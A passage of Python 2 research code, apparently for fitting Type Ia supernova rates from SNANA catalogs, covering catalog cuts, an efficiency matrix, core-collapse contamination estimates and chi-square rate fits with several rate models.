self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)
except:
print 's'
self.realcat = dataread.REAL_Cat(realfilename, realName, skip_header =11 )
if self.cheatType:
print "WARNING, THE FITTER IS CHEATING AND ELIMINATED NON-IAs USING SIM INFO"
self.realcat.Catalog = self.realcat.Catalog[self.realcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]
self.simcat.Catalog = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]
print "Pre cut Catalog"
print self.realcat.Catalog.shape
for cut in cuts:
print 'a'
print cut
print self.realcat.Catalog.shape
self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[cut[0]].astype(type(cut[1])) > cut[1]) & (self.realcat.Catalog[cut[0]].astype(type(cut[2])) < cut[2])]
self.simcat.Catalog = self.simcat.Catalog[(self.simcat.Catalog[cut[0]].astype(type(cut[1])) > cut[1]) & (self.simcat.Catalog[cut[0]].astype(type(cut[2])) < cut[2])]
print 'b'
print cut
print self.realcat.Catalog.shape
self.postCutRealCat = np.copy(self.realcat.Catalog)
self.postCutSimCat = np.copy(self.simcat.Catalog)
self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[self.ztype].astype(float) > self.zminSamp) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxSamp)]
self.simcat.Catalog = self.simcat.Catalog[(self.simcat.Catalog[self.ztype].astype(float) > self.zminSamp) & (self.simcat.Catalog[self.ztype].astype(float) < self.zmaxSamp)]
print 'zCut Pre MURESCut'
print np.sum((self.realcat.Catalog[self.ztype].astype(float) > self.zminFit) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxFit))
print 'MURESCUT'
print self.MURESCuts
print self.realcat.Catalog.shape
if not (self.MURESCuts is None):
'''
#MURES Cut format: (zmin, zmax, neg Cut, pos Cut)
for mc in self.MURESCuts:
realCond = (self.realcat.Catalog[self.ztype] < mc[0]) | (self.realcat.Catalog[self.ztype] > mc[1])| ((self.realcat.Catalog['MURES'] > mc[2])& (self.realcat.Catalog['MURES'] < mc[3]))
simCond = (self.simcat.Catalog[self.ztype] < mc[0]) | (self.simcat.Catalog[self.ztype] > mc[1])| ((self.simcat.Catalog['MURES'] > mc[2])& (self.simcat.Catalog['MURES'] < mc[3]))
self.realcat.Catalog = self.realcat.Catalog[realCond]
self.simcat.Catalog = self.simcat.Catalog[simCond]
'''
self.realcat.Catalog = self.realcat.Catalog[ np.abs( self.realcat.Catalog['MURES'] * 1.0 / self.realcat.Catalog['MUERR'] ) < MURESCuts]
self.simcat.Catalog = self.simcat.Catalog[ np.abs( self.simcat.Catalog['MURES'] * 1.0 / self.simcat.Catalog['MUERR'] ) < MURESCuts]
print "PostMURESCut Shape"
print self.realcat.Catalog.shape
print 'zCut Post MURESCut'
print np.sum((self.realcat.Catalog[self.ztype].astype(float) > self.zminFit) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxFit))
print "Post cut Catalog"
print self.realcat.Catalog.shape
if noCCMC:
self.simgencat.Catalog = self.simgencat.Catalog[self.simgencat.Catalog['GENTYPE'] == 1]
self.simcat.Catalog = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1]
def newData(self, realfilename, realName, simInd =100):
self.realName = realName
self.shiftFlagData = False
try:
self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95)
except:
self.realcat = simread.SNANA_Cat(realfilename, realName, simOmegaM=0.3, simOmegaL=0.7, simH0=70.0, simw=-1.0, simOb0=0.049, simSigma8=0.81, simNs=0.95, skip_header = 6 )
if self.cheatType:
print "WARNING, THE FITTER IS CHEATING AND ELIMINATED NON-IAs USING SIM INFO"
self.realcat.Catalog = self.realcat.Catalog[self.realcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]
if simInd < self.nprint:
print 'N precuts'
print self.realcat.Catalog['FITPROB'].shape
print "Pre cut Catalog"
print self.realcat.Catalog.shape
for cut in cuts:
self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[cut[0]].astype(type(cut[1])) > cut[1]) & (self.realcat.Catalog[cut[0]].astype(type(cut[2])) < cut[2])]
self.realcat.Catalog = self.realcat.Catalog[(self.realcat.Catalog[self.ztype].astype(float) > self.zminSamp) & (self.realcat.Catalog[self.ztype].astype(float) < self.zmaxSamp)]
print "Post cut Catalog"
print self.realcat.Catalog.shape
self.postCutRealCat = np.copy(self.realcat.Catalog)
print 'MURESCUT'
print self.MURESCuts
print self.realcat.Catalog.shape
if not (self.MURESCuts is None):
#MURES Cut format: (zmin, zmax, neg Cut, pos Cut)
'''
for mc in self.MURESCuts:
realCond = (self.realcat.Catalog[self.ztype] < mc[0]) | (self.realcat.Catalog[self.ztype] > mc[1])| ((self.realcat.Catalog['MURES'] > mc[2])& (self.realcat.Catalog['MURES'] < mc[3]))
self.realcat.Catalog = self.realcat.Catalog[realCond]
'''
self.realcat.Catalog = self.realcat.Catalog[np.abs(self.realcat.Catalog['MURES']*1.0/self.realcat.Catalog['MUERR']) < MURESCuts]
print "PostMURESCut Shape"
print self.realcat.Catalog.shape
if simInd < self.nprint:
print "Minimum Fitprob"
print np.min(self.realcat.Catalog['FITPROB'])
print 'N postcuts'
print self.realcat.Catalog['FITPROB'].shape
def zSystematic(self, binList = None, nbins = None):
assert(0)
if nbins is None:
try:
self.nbins = len(binList) - 1
self.binList = binList
except:
self.nbins = binList.shape[0] - 1
self.binList = binList
else:
binList = np.linspace(self.zmin, self.zmax, nbins+1)
self.nbins = nbins
self.binList = binList
if self.shiftFlagData:
print "DONT DOUBLE SHIFT"
return 0
if not self.shiftFlagSim:
oldsimz = self.simcat.Catalog['zPHOT']
oldsimtruez = self.simcat.Catalog['SIM_ZCMB']
stat, bins, binnum = stats.binned_statistic(oldsimz, oldsimz - oldsimtruez, bins = self.binList, statistic = 'mean')
self.zBiasShifts = stat
newsimz = oldsimz - stat[binnum]
assert(np.sum(np.abs(newsimz - oldsimz)) > 0)
assert((oldzshape - np.arange(0, oldz.shape[0]).shape[0])< 1)
self.shiftFlagSim = True
oldz = self.realcat.Catalog['zPHOT']
_,_, binnum = stats.binned_statistic(oldz, oldz , bins = self.binList, statistic = 'mean')
newz = oldz - self.zBiasShifts[binnum]
oldzshape = oldz.shape[0]
self.realcat.Catalog['zPHOT'].put(np.arange(0, oldz.shape[0]), newz)
assert(np.sum(np.abs(newz - oldz)) > 0)
assert((oldzshape - np.arange(0, oldz.shape[0]).shape[0])< 1)
self.simFlagData = True
def effCalc(self, fracContamCut = 0.0, nbinsSamp = None, nbinsFit = None, binListSamp = None, binListFit = None, simInd =100):
#### Do we want SNIas or all SN for efficiency?
import matplotlib as mpl
if nbinsSamp is None:
try:
self.nbinsSamp = len(binListSamp) - 1
self.binListSamp = binListSamp
except:
self.nbinsSamp = binListSamp.shape[0] - 1
self.binListSamp = binListSamp
else:
binListSamp = np.linspace(self.zminSamp, self.zmaxSamp, nbinsSamp+1)
self.nbinsSamp = nbinsSamp
self.binListSamp = binListSamp
if nbinsFit is None:
try:
self.nbinsFit = len(binListFit) - 1
self.binListFit = binListFit
except:
self.nbinsFit = binListFit.shape[0] - 1
self.binListFit = binListFit
else:
binListFit = np.linspace(self.zminFit, self.zmaxFit, nbinsFit+1)
self.nbinsFit = nbinsFit
self.binListFit = binListFit
self.typeString = ''
#if self.cheatZ:
# self.ztype = 'SIM_ZCMB'
#else:
# self.ztype = 'zPHOT'
'''
if (fracContamCut > 0.000000001) & (fracContamCut < 1.0):
print " Cutting based on Frac Contam"
histTot, binsX, binsY = np.histogram2d(self.simcat.Catalog[ztype], self.simcat.Catalog['MURES'], bins = nbins)
histCC, binsX, binsY = np.histogram2d(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) != 1][ztype], self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) != 1]['MURES'], bins = (binsX, binsY))
fracContam = histCC.astype(np.float)/histTot.astype(np.float)
for fcRow, i in zip(fracContam, xrange(binsX.shape[0])):
for fc, j in zip(fcRow, xrange(binsY.shape[0])):
if fc < fracContamCut:
continue
else:
simInBin = (self.simcat.Catalog[ztype] > binsX[i]) & (self.simcat.Catalog[ztype] < binsX[i+1]) & (self.simcat.Catalog['MURES'] > binsY[j]) & (self.simcat.Catalog['MURES'] < binsY[j+1])
realInBin = (self.realcat.Catalog[ztype] > binsX[i]) & (self.realcat.Catalog[ztype] < binsX[i+1]) & (self.realcat.Catalog['MURES'] > binsY[j]) & (self.realcat.Catalog['MURES'] < binsY[j+1])
self.simcat.Catalog = self.simcat.Catalog[np.invert(simInBin)]
self.realcat.Catalog = self.realcat.Catalog[np.invert(realInBin)]
'''
zPHOTs = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1][self.ztype].astype(float)
zTRUEs = self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) == 1]['SIM_ZCMB'].astype(float)
self.typeString = self.typeString + 'A1'
print "Type Location A"
print "Choice A1"
print zPHOTs.shape
print zTRUEs.shape
print binList
counts, zPhotEdges, zTrueEdges, binnumber = scipy.stats.binned_statistic_2d(zPHOTs, zTRUEs, zTRUEs, statistic = 'count', bins = (self.binListFit, self.binListSamp))
assert(zPhotEdges.shape[0] == (self.nbinsFit + 1))
print "Type Location B"
print "Choice B1"
self.typeString = self.typeString + 'B1'
zGenHist, zGenBins = np.histogram(self.simgencat.Catalog[self.simgencat.Catalog['GENTYPE'].astype(int) == 1]['GENZ'].astype(float), bins = self.binListSamp)
#zSim1Hist, zSim1Bins = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) ==1]['SIM_ZCMB'].astype(float), bins = self.binListSamp)
print "counts of zTrue in each zPhot vs zTrue bin"
print counts.astype(int)
print "zGen Bins"
print zGenBins
print 'zGen Histogram'
print zGenHist
print "sum zGen events"
print np.sum(zGenHist)
print "sum zPhot events"
print np.sum(counts)
#print "DEBUG HERE"
#assert(0)
self.effmat = np.zeros((self.nbinsFit, self.nbinsSamp))
xMax = zPhotEdges.shape[0] - 2
yMax = zTrueEdges.shape[0] - 2
print zGenHist
print counts.astype(int)
'''
for zPhotLedge, zPhotRedge, row, i in zip(zPhotEdges[:-1], zPhotEdges[1:], counts, xrange(xMax + 1)):
zPhotCenter = (zPhotLedge + zPhotRedge)/2.0
for zTrueLedge, zTrueRedge, count, j in zip(zTrueEdges[:-1], zTrueEdges[1:], row, xrange(yMax + 1)):
zTrueCenter = (zTrueLedge + zTrueRedge)/2.0
inCell = (zPHOTs > zPhotLedge) & (zPHOTs < zPhotRedge) & (zTRUEs > zTrueLedge)& (zTRUEs < zTrueRedge)
zPhotCell = zPHOTs[inCell];zTrueCell = zTRUEs[inCell]
self.effmat[i][j] = count # np.sum(inCell)
#print "inCell"
#print np.sum(inCell)
#print "count"
#print count
#try:
# assert(np.abs(np.sum(inCell) - count) < 2)
#except:
# print "CHECK ABOVE"
for row, i in zip(self.effmat, xrange(self.effmat.shape[0])):
for j in xrange(row.shape[0]):
self.effmat[i][j] /= zGenHist[j]
'''
self.effmat = counts/zGenHist
#if simInd < self.nprint:
print 'effmat'
print self.effmat
extent = [zPhotEdges[0], zPhotEdges[-1], zTrueEdges[0], zTrueEdges[-1]]
if (simInd == 0) or (not ('sim' in self.realName.lower())):
plt.figure()
plt.imshow(np.flipud(counts.T), extent = extent, cmap = 'Blues')
plt.colorbar()
plt.savefig(self.realName + 'redshiftDistro.png')
plt.clf()
plt.close()
plt.figure()
plt.imshow(np.flipud(self.effmat.T), extent = extent, cmap = 'Blues', norm=mpl.colors.LogNorm())
plt.colorbar()
plt.savefig(self.realName + 'efficiencyMatrixLog.png')
plt.clf()
plt.close()
plt.figure()
plt.imshow(np.flipud(self.effmat.T), extent = extent, cmap = 'Blues')
plt.colorbar()
plt.savefig(self.realName + 'efficiencyMatrix.png')
plt.clf()
plt.close()
def fit_rate(self, fixK = False, fixBeta = False, simInd =100, trueBeta = 0, CCScale = 1.0, CCScaleErr = None, TrueCCScale = 1.0, BetaInit = 0.0, kInit = 1.0, BetaErr = 1, kErr = 1, f_Js = None, CCZbins = None, scaleZBins = None, Blind = False):
#import iminuit as iM
#from iminuit import Minuit as M
#import numpy as np
#import matplotlib as mpl
#import matplotlib.pyplot as plt
#if self.cheatZ:
# self.ztype = 'SIM_ZCMB'
#else:
# self.ztype = 'zPHOT'
plt.switch_backend('Agg')
if simInd < self.nprint:
print "Type Location C"
print "Choice C1"
if len(self.typeString) <= 4:
self.typeString = self.typeString + 'C1'
nSim, simBins = np.histogram(self.simgencat.Catalog[self.simgencat.Catalog['GENTYPE'].astype(int) == 1]['GENZ'].astype(float), bins=self.binListSamp)
if simInd < self.nprint:
print "nSim1"
print nSim
print self.simgencat.Catalog.shape
print "FIGURE OUT WHY YOU MADE THIS ASSERT STATEMENT LATER"
#assert(0)
nSim2, simBins2 = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'].astype(int) ==1][self.ztype].astype(float), bins=self.binListFit)
nSim3, simBins3 = np.histogram(self.simcat.Catalog[self.ztype].astype(float), bins=self.binListFit)
NCC , _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] != 1][self.ztype].astype(float), bins=self.binListFit)
if self.fixCCScale:
print "Fix CC Scale at 1"
else:
if simInd < self.nprint:
print "nSim2"
print nSim2
print "nSim3"
print nSim3
print "nCC"
print NCC
OrigNCC = np.copy(NCC)
if self.cheatCCSub:
if self.cheatCCScale:
print "WARNING: Only cheating on CC Subtraction not scale"
print "Setting NCC to infinity to make sure that cheating correctly"
print "Diagnostics after this point may be nonsense"
print self.cheatCCSub
print "NCC BeforeFck"
print NCC
NCC = NCC*1E100
print "NCC AfterFck"
print NCC
elif self.cheatCCScale:
print "NCC Before1"
print NCC
print TrueCCScale
NCC = applyCCScale(NCC, TrueCCScale, CCScaleErr, zbins = CCZbins, datazbins = self.binListFit)
print "NCC After1"
print NCC
else:
print "NCC Before2"
print NCC
print CCScale
NCC = applyCCScale(NCC, CCScale, CCScaleErr, zbins = CCZbins, datazbins = self.binListFit)
print "NCC After2"
print NCC
#assert(0)
NIa , _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1][self.ztype].astype(float), bins=self.binListFit)
'''
DebugNIaPhot, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1]['zPHOT'].astype(float), bins=self.binListFit)
DebugNCCPhot, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] != 1]['zPHOT'].astype(float), bins=self.binListFit)
DebugNCCPhot = applyCCScale(DebugNCCPhot, CCScale, CCScaleErr, zbins = scaleZBins, datazbins = self.binListFit)
DebugNIaTrue, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] == 1]['SIM_ZCMB'].astype(float), bins=self.binListSamp)
DebugNCCTrue, _ = np.histogram(self.simcat.Catalog[self.simcat.Catalog['SIM_TYPE_INDEX'] != 1]['SIM_ZCMB'].astype(float), bins=self.binListSamp)
DebugNCCTrue = applyCCScale(DebugNCCTrue, CCScale, CCScaleErr, zbins = scaleZBins, datazbins = self.binListSamp)
uselessCtr = 0
for niap, nccp, niat, ncct, zp, zt in zip(DebugNIaPhot, DebugNCCPhot, DebugNIaTrue, DebugNCCTrue,(self.binListFit[1:] + self.binListFit[:-1])/2.0, (self.binListSamp[1:] + self.binListSamp[:-1])/2.0 ):
uselessCtr +=1
self.globalZTrueBinStorage.append(zt)
self.globalZPhotBinStorage.append(zp)
self.globalNDataIaPhotBinStorage.append(niap)
self.globalNDataCCPhotBinStorage.append(nccp)
self.globalNDataIaTrueBinStorage.append(niat)
self.globalNDataCCTrueBinStorage.append(ncct)
print "UselessCtr"
print uselessCtr
'''
try:
TrueNCC, _ = np.histogram(self.realcat.Catalog[self.realcat.Catalog['SIM_TYPE_INDEX'] !=1][self.ztype].astype(float), bins=self.binListFit)
if simInd < self.nprint:
print "True NCC Data"
print TrueNCC
except:
print "Using real data"
TrueNCC = 0.0
nData, dataBins = np.histogram(self.realcat.Catalog[self.ztype].astype(float), bins=self.binListFit)
print "nData"
print nData
if not(self.cheatCCSub):
FracBad = NCC*1.0/(1.0*(NCC+NIa))
nCCData = nData*FracBad
else:
nCCData = TrueNCC*1.0
FracBad = TrueNCC*1.0/nData
if simInd < self.nprint:
print "PreScale NCC/nSim"
print OrigNCC*1.0/(OrigNCC+NIa)
print "PreScale Pred NCC Data"
print OrigNCC*1.0/(OrigNCC+NIa)*nData
print "PreScale Pred NCC Data if 2NCC"
print OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData
print "TrueNCC"
print TrueNCC
if type(TrueNCC) != int:
if simInd < self.nprint:
print "PreScale PredNCCData - TrueNCCData"
print OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData - TrueNCC
print "PreScale PredNCCData - TrueNCCData/ PredNCCData"
print (OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData - TrueNCC)/(OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData)
else:
print "Using real data"
print "Mean of PreScale PredNCCData - TrueNCCData/ PredNCCData"
print np.nanmean((OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData - TrueNCC)/(OrigNCC*2.0/(2.0*OrigNCC+NIa)*nData))
print "PostScale NCC/nData"
print NCC*1.0/(NCC+NIa)
if simInd < self.nprint:
print "Fraction of CCs in each bin"
print FracBad
print 'NCC'
print NCC
print 'nSim2'
print nSim2
print "nData, dataBins, realcat shape pre contam correction"
print nData
print dataBins
print np.sum(self.realcat.Catalog[self.ztype].astype(float) > self.zmaxFit)
print np.sum(self.realcat.Catalog[self.ztype].astype(float) < self.zminFit)
print self.realcat.Catalog[self.ztype].shape
print "Ratio nData/nSim"
print 1.0*nData/(1.0*nSim3)
print "Ratio nSim2/nData"
print 1.0*nSim3/(1.0*nData)
print "FracBad"
print FracBad
print 'NCCData'
print nCCData
if simInd < self.nprint:
print "overall Contam"
print np.sum(NCC)*1.0/(np.sum(nSim3)*1.0)
def chi2func(nData, nSim, effmat, fnorm, zCentersSamp, zCentersFit, k = 1.0, Beta = 0.0, zBreak = 1.0, dump = False, complexdump = False, modelError = False, nIA = None, nCC = None, Rate_Model = 'powerlaw', zbins = None, simInd = 100, BetaPrior = (-3, 3), KPrior = (0.0, 50.0), priorRate = None, priorZEff = None, ratePriorErrUp = None, ratePriorErrDown =None, ratePriorErrAll = None, TrueNCCData = None, f_1 = 1.0, f_2 = 1.0, f_3 = 1.0, f_4 = 1.0, f_5 = 1.0, f_6 = 1.0, f_7 = 1.0, f_8 = 1.0, f_9 = 1.0, f_10 = 1.0, f_11 = 1.0):
if simInd < self.nprint:
print "PRIORS2"
print priorRate
print priorZEff
print ratePriorErrUp
print ratePriorErrDown
Chi2Temp = 0.0
if Rate_Model == 'powerlaw':
f_Js = k*(1+zCentersSamp)**Beta
elif Rate_Model == 'discrete':
f_Js = np.array([f_1, f_2, f_3, f_4, f_5, f_6, f_7, f_8, f_9, f_10, f_11])
elif (Rate_Model == 'brokenpowerlaw') | (Rate_Model == 'brokenpowerlawVar'):
f_Js = []
#zCenters = (zbins[1:]+zbins[:-1])/2.0
temp = None
for zC in zCentersSamp:
if zC < zBreak:
f_Js.append(k*(1+zC)**Beta)
elif not(temp is None):
f_Js.append(temp)
else:
temp = f_Js[-1]
f_Js.append(temp)
f_Js = np.array(f_Js)
else:
assert(0)
if simInd < self.nprint:
if Rate_Model == 'discrete':
print "f_Js init"
print f_Js
else:
print "Beta init"
print Beta
print "k init"
print k
#chi2Mat = np.zeros((self.nbinsFit))
#adjNMC = np.zeros((self.nbinsFit))
if Rate_Model == 'discrete':
kprior = 0
betaprior = 0
else:
kprior = weakPrior(k, KPrior)
betaprior = weakPrior(Beta, BetaPrior)
if dump and (self.nprint > simInd):
print "kprior"
print kprior
print "betaprior"
print betaprior
if (nIA is None) or (nCC is None):
if dump:
print "No CC Cut"
fracCCData = np.zeros(nData.shape)
elif self.cheatCCSub:
fracCCData = TrueNCC*1.0/nData
else:
if Rate_Model == 'discrete':
if dump and (self.nprint > simInd):
print 'f_J adjusted CC Cut'
print Rate_Model
print nCC
print nIA
print np.array(f_Js)
fracCCData = (nCC*1.0)/((1.0*nCC + nIA*np.array(f_Js)))
print fracCCData
else:
if dump and (self.nprint > simInd):
print "Beta Adjusted CC Cut"
print Rate_Model
#BetaRatio = k*(1+zCenters)**(Beta)#/(1+zCenters)**MCBeta
BetaRatio = (1+zCentersFit)**(Beta)#/(1+zCenters)**MCBeta
if dump and (self.nprint > simInd):
print "Beta Ratio"
print BetaRatio
print "BadFracCCData"
print (nCC*1.0)/((1.0*nCC + nIA*BetaRatio))
print "bad NCCData"
print (nCC*1.0)/((1.0*nCC + nIA*BetaRatio))*nData
fracCCData = (nCC*1.0)/((1.0*nCC + nIA*BetaRatio))
if dump and (self.nprint > simInd):
print 'abc'
print "fracCCData2"
print fracCCData
print "unscaled fracCCData"
print (1.0*nCC)/(1.0*(nCC+nIA))
if self.cheatCCSub:
nCCData = TrueNCCData
if dump and (self.nprint < simInd):
print "Cheating CC Sub"
assert(not(TrueNCCData is None))
elif dump and (self.nprint > simInd):
print 'def'
print "Normal CC Sub"
if not self.cheatCCSub:
nCCData = nData*fracCCData
if dump and (self.nprint > simInd):
print "nCCData2"
print nCCData
if not(TrueNCCData is None):
print "TrueNCCData"
print TrueNCCData
#print f_Js
#Check if I am scaling errors down with increasing MC size. Make MC twice as large as "Data" to test.
if dump: chi2Storage = []
if dump: scaledNSimStor = []
if dump: JSumTempNumStor = []
if dump: JSumTempDenStor = []
if dump:
print "actually used NCC"
#print nCC
print nCCData
if dump and (simInd < self.nprint):
print "effmat"
print effmat
print "nData"
print nData
print "nCCData"
print nCCData
print "nSim"
print nSim
print nCCData
for row, nDataI, nCCDataI, i, zc in zip(effmat, nData, nCCData, range(self.nbinsFit), zCentersFit):
if dump and (self.nprint > simInd):
print 'effmat row'
print row
print 'nDataI'
print nDataI
print 'nCCDataI'
print nCCDataI
scaledNSimTemp = 0.0
JSumTempNum = 0.0
JSumTempDen = 0.0
if dump and (simInd < self.nprint):
print "nBinsSamp"
print self.nbinsSamp
assert(row.shape[0] == self.nbinsSamp)
assert(nSim.shape[0] == self.nbinsSamp)
assert(len(f_Js) == self.nbinsSamp)
for eff, nSimJ, f_J, j in zip(row, nSim, f_Js, range(self.nbinsSamp)):
if dump and (self.nprint > simInd):
print 'NGen J'
print nSimJ
print 'JSumTempNum contr'
print nSimJ*f_J*eff*fnorm
print 'JSumTempDen contr'
print nSimJ*f_J*eff*fnorm*f_J*fnorm
#if dump and (i != j) and self.cheatZ and (self.nprint < simInd):
# if nSimJ*f_J*eff*fnorm > 0:
# print " This should be zero but isnt "
# print nSimJ*f_J*eff*fnorm
# assert(0)
JSumTempNum += nSimJ*f_J*eff*fnorm
JSumTempDen += nSimJ*f_J*eff*fnorm*f_J*fnorm
dataFunc = np.maximum(nDataI ,1)
#CCFunc = np.ceil(np.maximum(nCCDataI, 1))
CCFunc = np.maximum(nCCDataI, 1)
c2t = (nDataI - nCCDataI - JSumTempNum)**2/( dataFunc + CCFunc + JSumTempDen)
if dump:
JSumTempNumStor.append(JSumTempNum)
JSumTempDenStor.append(JSumTempDen)
if dump and (self.nprint > simInd):
print i
print 'nDataI'
print nDataI
print 'fnCCDataI'
print nCCDataI
print 'fnorm'
print fnorm
print "JSumTempNum tot"
print JSumTempNum
print "JSumTempDen tot"
print JSumTempDen
print "Chi2Bin"
print c2t
if dump:
chi2Storage.append(c2t)
if c2t > 5:
print 'INSANITY CHECK ABOVE'
# Chi2Temp += ((nDataI - nCCDataI - JSumTempNum)**2/(JSumTempNum + JSumTempDen))#*fnorm**2
if nDataI > 1E-11 or JSumTempDen > 1E-11:
Chi2Temp += c2t
if dump and (self.nprint > simInd):
print "JSumTempNum/Den"
print JSumTempNumStor
print JSumTempDenStor
if dump:
if (self.nprint >simInd):
print Chi2Temp
print kprior
print betaprior
print chi2Storage
print "nData"
print nData
print "nCCData"
print nCCData
if priorRate is None:
return Chi2Temp+kprior+betaprior , chi2Storage
else:
print "PRIORS3"
print priorRate
print "fit k"
print k
print 'MCK'
print self.MCK
print "fit beta"
print Beta
print 'MCBeta'
print self.MCBeta
print ratePrior(k*self.MCK, Beta + self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll)
return Chi2Temp+kprior+betaprior + ratePrior(k*self.MCK, Beta+self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll), chi2Storage
else:
if dump and (self.nprint > simInd):
print 'C2T'
print Chi2Temp
print kprior
print betaprior
if priorRate is None:
return Chi2Temp+kprior+betaprior
else:
print "PRIORS3"
print priorRate
print "fit k"
print k
print 'MCK'
print self.MCK
print "fit beta"
print Beta
print 'MCBeta'
print self.MCBeta
print ratePrior(k*self.MCK, Beta+self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll)
return Chi2Temp+kprior+betaprior + ratePrior(k*self.MCK, Beta+self.MCBeta, priorRate, priorZEff, ratePriorErrUp, ratePriorErrDown, ratePriorErrAll)
zCentersSamp = (self.binListSamp[1:] + self.binListSamp[:-1])/2.0
zCentersFit = (self.binListFit[1:] + self.binListFit[:-1])/2.0
#Is this right? Everything else in the other side of the chi2 function should be Ia only
if self.cheatCCSub:
self.fracCCData = TrueNCC*1.0/nData
else:
self.fracCCData = (NCC*1.0)/(1.0*(NCC + NIa))
if (self.nprint > simInd):
print "nSim"
print nSim
print 'fracCCData'
print self.fracCCData
print "nData"
print nData
#fnorm = float(np.sum(nData*(1-self.fracCCData)))/float(np.sum(nSim))
fnorm = 1.0/240.0
#print "PRIORS"
#print self.priorZEff
#print self.priorRate
#print self.ratePriorErrUp
#print self.ratePriorErrDown
if self.Rate_Model == 'powerlaw':
lamChi2 = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
lamChi2Dump = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, dump = True, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
MinObj = M(lamChi2, k = kInit, error_k = kErr , Beta = BetaInit, error_Beta = BetaErr, limit_k = (0.0, None), limit_Beta = (-100, 100), fix_k = fixK, fix_Beta = fixBeta)
c2i, _ = lamChi2Dump(1.0, 0.0)
print "Chi2 init = {0}".format(round(c2i, 4))
elif self.Rate_Model == 'brokenpowerlaw':
lamChi2 = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, 1.0, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlaw', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
lamChi2Dump = lambda k, Beta: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, 1.0, dump = True, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlaw', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
MinObj = M(lamChi2, k = kInit, error_k = kErr , Beta = BetaInit, error_Beta = BetaErr, limit_k = (0.0, None), limit_Beta = (-100, 100), fix_k = fixK, fix_Beta = fixBeta)
c2i, _ = lamChi2Dump(1.0, 0.0)
print "Chi2 init = {0}".format(round(c2i, 4))
elif self.Rate_Model == 'brokenpowerlawVar':
lamChi2 = lambda k, Beta, zBreak: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, zBreak, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlawVar', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
lamChi2Dump = lambda k, Beta, zBreak: chi2func(nData, nSim, self.effmat, fnorm, zCentersSamp, zCentersFit, k, Beta, zBreak, dump = True, nIA = NIa, nCC = NCC, simInd =simInd, TrueNCCData = TrueNCC, Rate_Model = 'brokenpowerlawVar', priorRate = self.priorRate, priorZEff = self.priorZEff, ratePriorErrUp = self.ratePriorErrUp, ratePriorErrDown =self.ratePriorErrDown, ratePriorErrAll = self.ratePriorErrAll)#, zbins = self.binListFit)
